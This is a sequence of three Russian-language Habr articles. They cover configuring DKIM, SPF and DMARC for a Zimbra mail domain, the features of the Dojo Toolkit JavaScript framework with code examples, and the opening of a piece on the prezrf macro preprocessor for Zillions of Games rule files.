"p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAs5OCY0sX04ziF+sOHt/1kq3A7iAzAjBjb4JteaoFzu1q2uBOiQS0uyaFeY6CgSgRRbvPnq8cWLG/XMU0tM9gSGtgtWDmHOs6/+QgKp6zRmetfsyABA2Y2U+XJlVURUE5ai3KIA/njt7IGZ5yeFsdZIKmhOCAOPGCovq10xkZXHdjRwiqxbCYGXv2m3o74BcWtOLPfEvexD5PYx"
"aTWFbelJpGlDN7WdBCE+ObpLGkJ9co/1sVOcd3c9SHfPq3jcBAFm7oPX2ak7Fb7cslVK77lA2hBgMYqI2Sh+T64o6R33dU++Ej7CuImmv7PAqVUn5MjYr05t3LK9dwWM8Cm6aJ/QIDAQAA" ) ; ----- DKIM key ECAC22D2-DCA2-11E6-BA30-B554729FE32A for example.com`
Также можно обновить DKIM данные для домена:
`$ /opt/zimbra/libexec/zmdkimkeyutil -u -d example.com`
Удалить DKIM данных для домена:
`$ /opt/zimbra/libexec/zmdkimkeyutil -r -d example.com`
Извлечь сохраненные данных DKIM для домена:
`$ /opt/zimbra/libexec/zmdkimkeyutil -q -d example.com`
#### Второй этап: обновление DNS-записей
Публичный ключ нужно добавить как TXT-запись в домен:
`$ORIGIN example.com.
ECAC22D2-DCA2-11E6-BA30-B554729FE32B._domainkey IN TXT ( "v=DKIM1; k=rsa; "
"p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAs5OCY0sX04ziF+sOHt/1kq3A7iAzAjBjb4JteaoFzu1q2uBOiQS0uyaFeY6CgSgRRbvPnq8cWLG/XMU0tM9gSGtgtWDmHOs6/+QgKp6zRmetfsyABA2Y2U+XJlVURUE5ai3KIA/njt7IGZ5yeFsdZIKmhOCAOPGCovq10xkZXHdjRwiqxbCYGXv2m3o74BcWtOLPfEvexD5PYx"
"aTWFbelJpGlDN7WdBCE+ObpLGkJ9co/1sVOcd3c9SHfPq3jcBAFm7oPX2ak7Fb7cslVK77lA2hBgMYqI2Sh+T64o6R33dU++Ej7CuImmv7PAqVUn5MjYr05t3LK9dwWM8Cm6aJ/QIDAQAA" ) ; ----- DKIM key ECAC22D2-DCA2-11E6-BA30-B554729FE32A for example.com`
Обновите DNS, и проверьте результат выполнения команды:
`# host -t txt SELECTOR._domainkey.DOMAIN`
Например:
`# host -t txt ECAC22D2-DCA2-11E6-BA30-B554729FE32B._domainkey.example.com ns1.example.com`
Если ключ извлекается используйте `/opt/zimbra/common/sbin/opendkim-testkey`, чтобы убедиться, что открытый ключ соответствует закрытому.
`$ opendkim-testkey -d example.com -s ECAC22D2-DCA2-11E6-BA30-B554729FE32B -x /opt/zimbra/conf/opendkim.conf`
Если получили ошибку:
`opendkim-testkey: /opt/zimbra/conf/opendkim.conf: configuration error at line 0`
Это означает, что файла /opt/zimbra/conf/opendkim.conf не существует, создать его можно командой:
`$ zmprov ms `zmhostname` +zimbraServiceEnabled opendkim ./libexec/configrewrite opendkim`
Если возникнет необходимость отозвать ключ подписи DKIM, установите пустой «р=» тег в записи TXT.
**По умолчанию создается 1024-битный ключ (зависит от версии ZCS), изменить размер можно параметром -b.**
### Sender Policy Framework (SPF)
**SPF (Sender Policy Framework)** — расширение для протокола отправки электронной почты через SMTP. SPF определен в RFC 7208. SPF-запись защищает от подделки вашего домена и позволяет предотвратить попадание в спам писем, отправленных с ваших адресов. SPF настраивается для адреса, используемого в envelope-from (SMTP конверте).
С помощью spf-записи владелец домена может указать список серверов, имеющих право отправлять email-сообщения для домена. В общем случае порядок следующий:
*[версия] [механизмы] [-all | ~all | redirect]*
Версия всегда spf1, модификаторы сообщают, кто может посылать почту:
* a, mx — сервера из DNS записей A или MX соответственно,
* ip4, ip6 — адрес сервера (можно указывать подсети, например: ip4:1.2.3.4/24),
* include — взять данные с другого адреса
Параметры:
* -all означает не принимать почту, если проверка механизма не прошла,
* ~all если проверка не прошла, то действовать на усмотрение сервера получателя.
* redirect означает забрать правила с другого сервера.
Рассмотрим примеры:
**Пример 1**
example.com. IN TXT «v=spf1 ip4:62.220.58.72 a mx -all»
Для домена example.com принимать письма, отправленные с ip-адреса 62.220.58.72, так же принимать с серверов указанных в A и MX записях, сообщения с других серверов должны быть отклонены.
**Пример 2**
example.com. IN TXT «v=spf1 redirect:example.org»
Получить правила с домена example.com.
**Пример 3**
example.com. IN TXT «v=spf1 include:\_spf.google.com -all»
Получать письма только с smtp-серверов компании Google.
### Настройка DMARC
Domain-based Message Authentication, Reporting and Conformance (идентификация сообщений, создание отчётов и определение соответствия по доменному имени) или DMARC — это техническая спецификация, созданная группой организаций для борьбы со спамерами, подделывающими адреса отправителей. Она основана на идентификации почтовых доменов отправителя на основании правил и признаков, заданных на почтовом сервере получателя.
Таким образом почтовый сервер сам решает, хорошее сообщение или плохое и действует согласно DMARC записи. Благодаря настройке DMARC владельцы доменов могут создавать правила обработки писем, которые поступили с доменов, не прошедших авторизацию.
После создания записей SPF и DKIM необходимо настроить проверку DMARC, добавив в DNS запись типа TXT (аналогично SPF). Параметры могут быть следующими:
Более подробно можно узнать в [реестре тегов DMARC](https://dmarc.org//draft-dmarc-base-00-01.html#iana_dmarc_tags).
Правило для домена (что делать серверу-получателю, если проверка на spf и dkim не прошла) может быть одним из трех:
* none — просто регистрировать сообщения для отчета, с самими сообщения ничего не делать;
* quarantine – помечать такие сообщения как спам;
* reject – отклонить получение сообщения на уровне SMTP.
Если вы хотите получать отчеты не забудьте указать адрес электронной почты в теге rua:
`_dmarc.example.com IN TXT "v=DMARC1; p=none; rua=mailto:postmaster@example.com"`
#### Результат добавления DNS-записей
Ниже показан пример dns записий, для зоны example.com:
`$ORIGIN .
$TTL 3600
example.com IN SOA example.com. hostmaster.example.com. (
2017011011 ; serial
3600 ; refresh [1h]
600; retry [10m]
1209600 ; expire [14d]
3600 ; min TTL [1h]
)
NS ns1.example.com.
MX 10 ns1.example.com.
A 62.220.58.71
IN TXT "v=spf1 a mx ip4:62.220.58.71 ~all"
$ORIGIN example.com.
ECAC22D2-DCA2-11E6-BA30-B554729FE32B._domainkey IN TXT ( "v=DKIM1; k=rsa; "
"p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAs5OCY0sX04ziF+sOHt/1kq3A7iAzAjBjb4JteaoFzu1q2uBOiQS0uyaFeY6CgSgRRbvPnq8cWLG/XMU0tM9gSGtgtWDmHOs6/+QgKp6zRmetfsyABA2Y2U+XJlVURUE5ai3KIA/njt7IGZ5yeFsdZIKmhOCAOPGCovq10xkZXHdjRwiqxbCYGXv2m3o74BcWtOLPfEvexD5PYx"
"aTWFbelJpGlDN7WdBCE+ObpLGkJ9co/1sVOcd3c9SHfPq3jcBAFm7oPX2ak7Fb7cslVK77lA2hBgMYqI2Sh+T64o6R33dU++Ej7CuImmv7PAqVUn5MjYr05t3LK9dwWM8Cm6aJ/QIDAQAB" ) ; ----- DKIM key ECAC22D2-DCA2-11E6-BA30-B554729FE32B for example.com
_dmarc IN TXT "v=DMARC1; p=none; rua=mailto:postmaster@example.com"
ns1 IN A 62.220.58.71
www 86400 IN CNAME example.com.`
По всем вопросам, связанными c Zextras Suite вы можете обратиться к Представителю компании «Zextras» Екатерине Триандафилиди по электронной почте ekaterina.triandafilidi@zextras.com | https://habr.com/ru/post/339296/ | null | ru | null |
# 10 причин почему ваш проект должен использовать Dojo Toolkit
Dojo Toolkit это одновременно самый мощный и наименее используемый JavaScript фреймворк. В то время, как почти каждый JavaScript фреймворк или тулкит обещает сделать все на свете и даже больше, Dojo Toolkit предоставляет наиболее убедительные аргументы в доказательство своей функциональности. В этом посте будут описаны многие важные возможности Dojo Toolkit, а также будет рассказано, почему вы должны использовать его в своем следующем проекте.
#### 1. Модульность и AMD загрузчик
Клиентский JavaScript код, как и любой код, склонен расти в размерах. Модульность является тем ключем, который делает наш код легко поддерживаемым и производительным. Дни использования библиотек использующих единовременную, без асинхронной докачки, загрузку, остались в прошлом. Dojo Toolkit является ярким примером фреймворка использующего модули. Он использует dojo.require для того, чтобы динамически подтягивать только те ресурсы, которые нужны странице в данный момент.
Изначально метод загрузки ресурсов был синхронным, хотя существовал и кросс-доменный вариант с возможностью асинхронной загрузки. Сейчас Dojo использует асинхронный загрузчик, написанный Рэвилдом Гиллом (Rawld Gill), который мастерски загружает все ресурсы асинхронно и намного быстрее чем раньше. Чтобы загрузить несколько JavaScript ресурсов вы можете написать, что-то типа этого:
```
// Функция require сообщает загрузчику, что необходимы модули из первого массива
// Если модуль из списка уже был загружен, то он будет взят из кэша
require(
// Массив модулей требующих загрузки
["dojo/on", "dojo/touch", "dijit/form/Button", "dojo/domReady!"],
// Функция, которая будет вызвана после загрузки всех модулей,
// с объектами модулей переданными ей в качестве аргументов.
// Модули должны быть перечислены в том же порядке, что и в массиве требований
function(on, touch, Button) {
// Здесь выполняем нужные нам действия с загруженными модулями.
});
```
Модуль объявляется очень просто:
```
// Используем 'define' вместо 'require' потому, что мы хотим объявить модуль
define(
// Объявляем модули, которые потребуются нашему модулю
["dojo/aspect", "dojo/_base/declare", "dijit/layout/BorderContainer"],
// Функция обратного вызова, которая должна вернуть объект
function(aspect, declare, BorderContainer) {
// Указываем имя модуля и модули от которых он унаследован
// После чего возвращаем модуль (объект или функцию)
return declare("mynamespace.layout.CustomBorderContainer", [BorderContainer], {
// Описываем здесь свойства и методы нашего модуля.
});
});
```
Этот простой способ объявления модуля, используемый почти всеми AMD загрузчиками, невероятно прост и структурирован.
Модули, перечисленные в зависимостях, загружаются до того, как будет запущена функция обратного вызова. Сама функция обычно возвращает функцию или объект, представляющий модуль. Это простой шаблон, который быстро загружается, поддерживает модульность и позволяет разработчикам загружать только то, что им нужно.
Многофункциональный Dojo загрузчик также предоставляет возможность использования плагинов. Таких, как определения готовности DOM (dojo/domReady!) и функции определения (hasJS). Кроме того, загрузчик достаточно умен, чтобы загружать разные модули в зависимости
от внешних условий:
```
// Этот код используется в dojo/Deferred модуле
define([
"./has",
"./_base/lang",
"./errors/CancelError",
"./promise/Promise",
"./has!config-deferredInstrumentation?./promise/instrumentation"
], function(has, lang, CancelError, Promise, instrumentation){
// ...
});
```
Dojo это не просто максимальная модульность, но и готовый загрузчик модулей для ваших задач.
#### 2. Классы и рассширяемость с dojo/declare
В то время, как JavaScript не предоставляет настоящей системы классов, Dojo Toolkit предоставляет классоподобный паттерн наследования основанный на использовании dojo/declare. Declare реализован во фреймворке так, что позволяет разработчикам:
* сократить или даже устранить повторяющийся код;
* использовать паттерн примесей для объединения функций среди многих различных классов;
* легко расширить существующие классы для увеличения кастомизации;
* обмениваться кодом модулей между различными проектами;
* безопасно чинить классы, когда есть ошибка в существующем классе Dojo.
Система классов Dojo использует прототипное наследование. Использование dojo/declare невероятно просто:
```
// Конечно, вы должны использовать define для создания модуля
define([
// Подключим модуль предоставляющий dojo/declare
"dojo/declare",
// Также подключим зависимости класса, который мы собираемся использовать
"dijit/form/Button",
"dojo/on",
"mynamespace/_MyButtonMixin" // Имена примесей следует начинать с "_"
], function(declare, Button, on, _MyButtonMixin) {
// Возвращаем результат метода declare(), который и является нашим классом
return declare(
// Первый аргумент это имя виджета. Вы должны использовать объектный синтаксис
"mynamespace.CustomButton",
// Вторым аргументом является родительский класс.
// Для множественного наследования следует использовать массив.
[ Button, _MyButtonMixin ],
// Наконец, объект, который содержит новые свойства и методы, или
// другие значения для унаследованных свойств и методов
{
myCustomProperty: true,
value: "Hello!",
myCustomMethod: function() {
// делаем что-то здесь!
},
methodThatOverridesParent: function(val) {
this.myCustomMethod(val);
// Вызываем "this.inherited(arguments)" для выполнения
// родительского метода с теми же параметрами
return this.inherited(arguments);
}
});
});
```
Приведенный пример не решает никакой практической задачи, но иллюстрирует повторное использование кода через цепочку наследования и примесь, а также показывает, как класс может вызвать метод родительского класса.
Еще одним преимуществом использования системы классов Dojo является то, что все свойства и методы являются настраевыемыми. Всё может быть легко изменено и расширено в течении всего процесса создания класса.
#### 3. Аспекты и «функция к функции событий»
Аспекты являются одним из самых мощных и важных новых веяний в веб-разработке… и Dojo Toolkit предоставляет их в течении многих лет. Вместо запуска функции после обычного пользовательского события: «click», «mouseover», «keyup» — аспекты позволяют вызвать функцию В до или после того, как функция А выполнится. По сути, вы можете подключать функции к функциям — и это круто!
Запуск одной функции после другой выглядит так:
```
// after(объект, имя метода, вызывемая функция, ее аргументы);
aspect.after(myObject, "someMethod", function(arg1, arg2) {
// Код, который будет выполнен после завершения метода myObject.doSomething
}, true);
```
Запуск функции до выполнения другой тоже абсолютно прост:
```
aspect.before(myObject, "someMethod", function(arg1, arg2) {
// Код, который будет выполнен до вызова метода myObject.someMethod
});
```
Аспекты черезвычайно полезны при создании пользовательского интерфейса с использованием Dijit. Прослушивание событий на одном виджете или классе может вызвать изменения в других виджетах. Это позволяет разработчикам создавать один большой виджет из многих маленьких.
```
var self = this;
aspect.after(this.submitButton, "onClick", function() {
// Нажатие кнопки отправки выполняет дополнительный функционал
self.showAjaxSpinner();
});
```
#### 4. Deferred и унифицированный AJAX транспорт
Deferreds являются объектно-ориентированными представлениями асинхронных операций, что позволяет легко передавать состояния операций от одного места к другому. Одним из самых последних и важных дополнений JQuery было Deferreds. Так совпало, что мантра команды Dojo является «Dojo это сделал». Dojo Toolkit содежит реализацию Deferreds уже в течении нескольких лет, используя их для простых и сложных операций AJAX, анимации и многого другого.
Наряду с тем, будучи одним из первых, кто реализовал объекты Deferred, Dojo ввел несколько методов обработки ввода-ввывода стандартного XMLHTTPRequest, в том числе window.name обертку, модуль dojo/io/iframe для асинхронной загрузки файлов и многое другое. Так когда в Dojo используются Deferred объекты? Всякий раз, когда происходит асинхронное действие. Deferreds возвращаются из XHR запросов, dojo/io запросов, анимации и многого другого.
```
// Отправляем XHR запрос, получая в ответ Deferred
var def = xhr.get({
url: "/getSomePage"
});
// Навесим много функций обратного вызова
def.then(function(result) {
result.prop = 'Something more';
return result;
}).then(function(resultObjWithProp) {
// ....
}).then(function() {
// ....
});
```
А как выглядит использование API модуля dojo/io/iframe?
```
require(["dojo/io/iframe"], function(ioIframe){
// Посылаем запрос
ioIframe.send({
form: "myform",
url: "handler.php",
handleAs: "json"
}).then(function(data){
// Обработчик успешного результата
}, function(err){
// Обработчик ошибки
}). then(function() {
// Больше функций обратного вызова!
})
});
```
Красота использование Deferred в Dojo заключается в том, что внезависимости от метода, вы знаете, что всегда будете получать в ответ объект Deferred, ускоряя развитие и объединение API. Начиная с версии 1.8 в Dojo доступен модуль dojo/request, добавляющий новые методы консолидации AJAX. Вот пример, как может быть использован dojo/request:
```
require(["dojo/request"], function(request){
request("request.html").then(function(response){
// выполняем какие-то действия с результатом запроса
}, function(err){
// обработчик ошибок
}, function(evt){
// обработка смены статуса запроса
});
});
```
Унифицированный API делает разработку быстрее, а код компактнее.
#### 5. Dijit UI Framework
Без сомнения, самым большим преимуществом Dojo Toolkit перед другими JavaScript фреймворками является его Dijit UI фреймворк.
Это беспрецедентный набор лэйаутов, форм и других инструментов:
* полная локализация из коробки;
* расширенный макет виджетов для облегчения 100% высоты элементов, cоздания пользовательских разделителей, изменения лэйаута и т.д.;
* виджеты формы с улучшенным удобством и встроенной поддержкой валидации;
* много тем оформления, новейшая называется «Claro»;
* поддержка LESS в пользовательских темах;
* модульный код, что позволяет полную пользовательскую настройку любых виджетов, а также расширение их возможностей.
Dijit позволяет объявлять виджеты декларативно и программно. Декларативное объявление выглядит так:
```
```
Традиционный способ объявления виджетов выглядит следующим образом:
```
require(["dijit/form/Button"], function(Button) {
// Создаем кнопку программно
var button = new Button({
label: 'Click Me!'
}, "myNodeId");
});
```
Существует несколько десятков виджетов предоставляемых пакетом Dijit и еще несколько десятков предоставляемых в пакете Dojox. Фреймворк Dojo UI это не просто несколько полезных виджетов пользовательского элемента, как, например, JQuery UI, это полноценный протестированный фреймворк для создания пользовательских интерфейсов.
#### 6. Dojo Mobile
Как и почти на все проблемы Интернета, Dojo имеет решение для мобильной веб-разработки — модули пространства имен dojox/mobile.
Мобильное решение от Dojo предоставляет:
* определение устройств;
* темы для iOS, Android, Blackberry, а также базовую;
* мобильные виджеты для формы;
* панели и макеты для виджетов;
* поддержка десктопа для облегчения разработки и отладки.
Мобильные виджеты могут быть созданы декларативно или программно, аналогично Dijit виджетам. Мобильные экраны поддерживают ленивый рендеринг и могут легко обмениватся данными. HTML каркас для dojox/mobile очень прост:
```
Название вашего приложения
```
С помощью модуля dojox/mobile/deviceTheme мы можем определять устройство пользователя и применять соответствующие стили.
После задания темы подключим модули необходимые нашему приложению:
```
require([
"dojox/mobile/ScrollableView",
"dojox/mobile/Heading",
"dojox/mobile/RoundRectList",
"dojox/mobile/TabBar",
"dojox/parser"
]);
```
После того как все подключили опишем декларативно наши виджеты и экраны:
```
Tweets
==============
* Tweet
Упоминания
==================
* Mention tweet
Settings
========
Show
----
* Здесь настройки элемента.
```
Принципы использования виджетов dojox/mobile абсолютно идентичны принципам использования виджетов Dijit. Это позволяет быстро освоится тем, кто уже имеет опыт работы с Dijit, а новичкам обеспечивает легкое освоение предлагаемых виджетов.
#### 7. GFX и диаграммы
CSS анимация является отличным инструментом визуализации, как анимированные изображения, но уступает в гибкости и мощи векторной графике. Самым популярным инструментом для создания векторной графики на стороне клиента всегда был Raphael JS, но GFX библиотека Dojo, несомненно, мощнее. GFX может быть настроен для отображения векторной графики в SVG, VML, Silverlight, Canvas и WebGL. GFX обеспечивает удобную обертку для создания всех форм векторной графики (эллипс, линия и т.д.), что ускоряет создание графики.
Dojo GFX поддерживает:
* наклон, поворот и изменение размера графики;
* анимация заполнения, строкер и другие графические свойства;
* линейный и круговой градиент;
* события мыши;
* группирование форм для упрощения управления и анимации.
Создание простого набора фигур может выглядеть так:
```
require(["dojox/gfx", "dojo/domReady"], function(gfx) {
gfx.renderer = "canvas";
// Создаем GFX поверхность
// Аргументы: узел, ширина, высота
surface = gfx.createSurface("surfaceElement", 400, 400);
// Создаем круг и задаем ему цвет текстом
curface.createCircle({ cx: 50, cy: 50, rx: 50, r: 25 }).setFill("blue");
// Создаем круг и задаем ему цвет в hex формате
surface.createCircle({ cx: 300, cy: 300, rx: 50, r: 25 }).setFill("#f00");
// Создаем круг с линейным градиентом
surface.createRect({x: 180, y: 40, width: 200, height: 100 }).
setFill({ type:"linear",
x1: 0,
y1: 0, //x: 0=>0, градиент постоянен по горизонтали
x2: 0, //y: 0=>420, и меняется по вертикали
y2: 420,
colors: [
{ offset: 0, color: "#003b80" },
{ offset: 0.5, color: "#0072e5" },
{ offset: 1, color: "#4ea1fc" }
]
});
// Создаем круг с радиальным градиентом
surface.createEllipse({
cx: 120,
cy: 260,
rx: 100,
ry: 100
}).setFill({
type: "radial",
cx: 150,
cy: 200,
colors: [
{ offset: 0, color: "#4ea1fc" },
{ offset: 0.5, color: "#0072e5" },
{ offset: 1, color: "#003b80" }
]
});
});
```
Dojo содержит библиотеку dojox/charting использующую API Dojo GFX. Визуализация информации с помощью графиков пользуется популярностью и не зря — сложно получить полную картину просто просматривая числа.
Библиотека dojox/charting позволяет:
* множественные графики;
* анимированные графики;
* плагины, в том числе MoveSlice (анимирует части круговой диаграммы), подсказка, масштабирование и подсветка;
* самообновляющиеся диаграммы (используют Dojo хранилища данных).
Базовую круговую диаграмму можно создать с помощью следующего кода:
```
// x и y координаты используются для облегчения понимания места расположения
// Данные представляют посетителей сайта за недельный период
chartData = [
{ x: 1, y: 19021 },
{ x: 1, y: 12837 },
{ x: 1, y: 12378 },
{ x: 1, y: 21882 },
{ x: 1, y: 17654 },
{ x: 1, y: 15833 },
{ x: 1, y: 16122 }
];
require([
"dojo/parser",
"dojox/charting/widget/Chart",
"dojox/charting/themes/Claro",
"dojox/charting/plot2d/Pie"
]);
```
Хотя приведенный выше код создает только простую круговую диаграмму, dojox/charting способен на много, много большее.
#### 8. Dgrid от команды SitePen
SitePen, компанию специализирующуюся на консультациях по Dojo, создал сооснователь Dojo Дилан Шиман (Dylan Schiemann). Ее сотрудники пытались найти замену чрезмерно раздутому и неуклюжему dojo/Grid и в итоге создали dgrid.
Основные особенности получившегося пакета:
* многочисленные темы и легкое создание своих тем;
* полная совместимость с мобильными браузерами;
* сортировка строк;
* возможность отложенной загрузки данных;
* поддержка древовидной структуры;
* возможность редактирования ячеек таблицы используя виджеты dijit;
* различные расширения: изменение размеров столбцов, drag'n'drop, постраничная навигация и многое другое.
SitePen проделал выдающуюся работу по документированию каждого компонента dgrid, поэтому начать создание собственных многофункциональных таблиц будет невероятно просто.
#### 9. Тестировочный фреймворк DOH
Тестирование на клиентской стороне очень важно. Едва ли не более важно, чем на стороне сервера. С учетом количества браузеров и разнообразия функционала различных версий браузеров интерактивное тестирование становится обязательным. Фреймворк DOH созданный для тестирования Dojo доступен вместе с Dojo. Написание тестов невероятно легко, а сами тесты могут быть представлены в нескольких форматах:
```
// Зададим имя тестового модуля для того, чтобы сделать загрузчик немного счастливее
dojo.provide("my.test.module");
// Зарегистрируем тест
doh.register("MyTests", [
// Тесты могут быть простыми функциями
function assertTrueTest(){
doh.assertTrue(true);
doh.assertTrue(1);
doh.assertTrue(!false);
},
// ... или объектами со свойствами: name, setUp, tearDown, and runTest
{
name: "thingerTest",
setUp: function(){
this.thingerToTest = new Thinger();
this.thingerToTest.doStuffToInit();
},
runTest: function(){
doh.assertEqual("blah", this.thingerToTest.blahProp);
doh.assertFalse(this.thingerToTest.falseProp);
// ...
},
tearDown: function(){
}
},
// ...
]);
```
Приведенный выше пример теста очень простой. Но как насчет более сложной ситуации, т.е. асинхронных действий? Наиболее очевидные примеры асинхронных действий это AJAX, анимация и другие отложенные действия. DOH предоставляет невероятно простой способ для тестирования асинхронных действий с использованием объектов doh.Deffered:
```
{
name: "Testing deferred interaction",
timeout: 5000,
runTest: function() {
var deferred = new doh.Deferred();
myWidget.doAjaxAction().then(deferred.getTestCallback(function(){
doh.assertTrue(true);
});
return deferred;
}
}
```
В приведенном выше примере функция «getTestCallback» будет запущена после окончания работы метода «doAjaxAction» и вернет результат теста.
Последующие тесты не будут запущены, пока не разрешит doh.Deferred, таким образом не нужно засекать время и нет проблемы пересекающихся тестов. DOH предоставляет возможности для тестов значительно превосходящие другие другие фреймворки. DOH также предоставляет Java-робота, который полностью эмулирует действия мыши и клавиатуры, для более точного и реалистичного тестирования. Если вы слышите крик Гомер Симпсона «Woohoo!», то все тесты пройдены. Но если вы слышите страшное «DOH!», то значит вам нужно пересмотреть свой код с целью исправления ошибок.
#### 10. Процесс сборки Dojo
Когда веб-приложение готово к выпуску, невероятно важно ради оптимизированной загрузки и кэширования создать минифицированные и правильно разбитые на слои JavaScript файлы. Это снижает нагрузку на сайт.
Система сборки Dojo анализирует объявленные классы и автоматически определяет зависимости при сборке. Чтобы использовать систему сборки Dojo вы создаете то, что называется профилем сборки. Построенный профиль может содержать многочисленные слои и быть довольно сложным. На привиденном ниже примере представлен простейший профиль сборки:
```
var profile = {
releaseDir: "/path/to/releaseDir",
basePath: "..",
action: "release",
cssOptimize: "comments",
mini: true,
optimize: "closure",
layerOptimize: "closure",
stripConsole: "all",
selectorEngine: "acme",
layers: {
"dojo/dojo": {
include: [ "dojo/dojo", "app/main" ],
customBase: true,
boot: true
}
},
resourceTags: {
amd: function (filename, mid) {
return /\.js$/.test(filename);
}
}
};
```
Профиль сборки Dojo позволяет разработчику настраивать:
* минификатор (ShrinkSafe от Dojo или Closure от Google)
* уровень минификации;
* директория сборки;
* механизм селекторов;
* и многое другое.
Построенный профиль запускается с помощью командной строки (недавно переписан на Node.js) и может дополняться или корректироваться с помощью различных аргументов. Небольшой пример запуска профиля сборки:
```
./build.sh --profile /path/to/app/app.profile.js --require /path/to/app/boot.js
```
Процесс сборки Dojo обеспечивает невероятное количество контроля над генерацией файлов сборки и завершает процесс оптимизации веб-приложения. С минифицированными и разбитыми на слои JavaScript и CSS файлами ваше веб-приложение готово к показу!
#### 11. Bonus! Сундук сокровищ Dojo. Больше Dojox
Две очень важные библиотеки Dojox уже упоминались выше: Dojox Mobile и GFX, но это только два из множества скрытых сокровищ представленных в Dojo. Эти сокровища включаются в себя:
* дополнительные макеты и виджеты;
* передовые и локализованные процедуры валидации форм;
* WebSocket и long-polling обертки;
* виджеты представлений, такие как лайтбокс, слайдшоу, галерея и прочее;
* расширенные IO помощники;
* расширенная библиотека Drag'n'Drop;
* расширения модуля NodeList.
И это тоже только часть из множества достоинств Dojo.
Dojo Toolkit представляет собой всеобъемлющий инструментарий JavaScript:
* основные JavaScript и вспомогательные утилиты;
* расширенный JavaScript и AJAX утилиты;
* асинхронные сценарии загрузки;
* полный UI фреймворк;
* полный тестировочный фреймворк;
* средства сборки;
* и многое другое!
Не начинайте свой следующий проект без проверки всех возможностей, которые может предложить вам Dojo. Даже если вам не нужные некоторые дополнительные функции перечисленные выше, базовые возможности Dojo (селекторы, анимация, XHR запросы) помогут вам создавать быстрые и многофункциональные веб-приложения. | https://habr.com/ru/post/189576/ | null | ru | null |
# ZoG на стероидах
Когда я [писал](http://habrahabr.ru/post/212237/) о разработке игры "[Thud!](https://github.com/GlukKazan/ZoG/blob/master/Rules/02.Thud.zrf)", я уже сетовал на некоторую избыточность полученного описания. Простота языка ZRF имеет свою оборотную сторону — для того чтобы написать на нем что-то более менее сложное, часто, приходится дублировать значительные фрагменты кода. Подобная избыточность, как известно, приводит не только к увеличению объема ручной работы, но и значительно усиливает риск появления в коде разнообразных ошибок (поскольку процесс отладки ZoG приложений весьма не тривиален, это является существенным моментом).
Как можно бороться с подобной избыточностью?
Разумеется, с помощью макросов! Проблема в том, что макросы ZRF недостаточно выразительны для этого. Адриан Кинг, в процессе разработки игр [Scirocco](http://www.zillions-of-games.com/cgi-bin/zilligames/submissions.cgi?do=show;id=848) и [Typhoon](http://www.zillions-of-games.com/cgi-bin/zilligames/submissions.cgi?do=show;id=1669), пришел к аналогичному выводу и разработал свой собственный, расширенный язык макросов, работающий как внешний [препроцессор](http://www.zillions-of-games.com/cgi-bin/zilligames/submissions.cgi?do=show;id=1663). Сегодня, я расскажу о возможностях этого языка и постараюсь, на примере Thud!, показать его использование в процессе разработки ZRF-приложений.
Как я уже сказал выше, речь идет о внешнем препроцессоре, преобразующем исходные файлы (с расширением .prezrf) в обычные zrf-файлы. Сам препроцессор разработан на языке Java и представляет собой jar-файл. Для обработки prezrf-файла, достаточно выполнить следующую команду (при условии, что на вашем компьютере установлена Java):
```
java -jar prezrf.jar MyFile.prezrf
```
Если обработка пройдет без ошибок, результирующий zrf-файл будет сформирован в том же каталоге.
Какие возможности предлагает нам новый язык? Во первых, он вводит новый тип макросов. Для определения макроса prezrf используется ключевое слово **define!** (ко всем новым ключевым словам, в конце, добавлен восклицательный знак). Оригинальные **define** макросы ZRF игнорируются препроцессором и просто копируются в вывод. Определение макросов нового образца можно отменять командой **undefine!**. Эта возможность может быть полезна, поскольку новые макросы могут определяться локально, в других макросах (ZRF подобного делать не позволяет).
Ключевое слово **expand!** приводит к «развертыванию» ранее определенного макроса в указанном им месте кода. Поскольку это действие выполняется очень часто, для него определено сокращение '**!**'. Таким образом, обработав следующий код:
```
(define! swap
($2 $1)
)
(! swap a b)
```
… мы получим на выходе:
```
(b a)
```
Этот макрос был бы раскрыт и без восклицательного знака, командой (swap a b), но использование **expand!** спасает нас от возможных опечаток. Например, если мы, по какой то причине, забыли добавить восклицательный знак к **define** в определении swap, конструкция (swap a b) была бы просто продублирована в вывод, а вызов макроса констукцией **expand!**, привел бы к формированию ошибки: ***expand!: undefined macro «swap»***.
Все это, пожалуй, было бы не очень интересно, если бы не новые возможности, предоставляемые prezrf. В макросах нового типа мы можем использовать аргументы-списки! Кроме того, для нашего удобства, добавлена возможность ссылки на несколько аргументов, передаваемых в макрос, как на список. Конструкция **$2\*4** последовательно выведет значения 2-го, 3-го и 4-го аргументов, переданных в макрос (при условии того, что передано не менее четырех аргументов). Также, определены сокращенные конструкции **$n\*** и **$\*m** имеющие очевидную семантику. Используя эту возможность, мы можем, например, подсчитать количество аргументов, переданных в макрос:
```
(define! count
(length! ($1*))
)
(! count a b c) ; => 3
```
Обращаю ваше внимание на то, что скобки вокруг **$1\***, в этом примере обязательны — мы формируем список, в котором перечисляем значения всех аргументов макроса, начиная с первого. Отсутствие скобок приведет к ошибке обработки, поскольку **length!** принимает только один списковый аргумент. Тем не менее, наш макрос недостаточно защищен от ошибок входных данных. Вызов **(count)** без аргументов закончится ошибкой. Мы можем исправить это следующим образом:
```
(define! count
($?1
(length! ($1*))
)
($!1 0)
)
```
Здесь **$?1** выполняется в случае, если в макрос передан один или более аргументов, а **$!1** — в противном случае. Кроме того, имеется возможность нумеровать элементы с конца списка, используя конструкцию **$-n**. Все эти возможности будут нам весьма полезны в дальнейшем.
Как и любой уважающий себя язык программирования, prezrf предоставляет нам конструкции условного выполнения (**if-less!**, **if-less-or-equal!**) и цикла (**for!**). If-конструкции (а их в языке несколько больше перечисленных выше), в отличии от аналогичной конструкции ZRF, не определяют ветвь **else**, а **for!** может использоваться только для обхода элементов списка. Например, мы можем повторить выполнение некоторого действия для всех определенных в игре направлений (это требуется очень часто):
```
(define! -all-directions (n ne e se s sw w nw))
(define! shift-all
(for! $d ($ -all-directions)
(shift $d)
)
)
(! shift-all)
```
В этом коде, используется управляющая конструкция '**$**', о которой я еще не успел рассказать. Что она делает? Фактически, это сокращение для очень часто использующейся конструкции:
```
(!! (! macro))
```
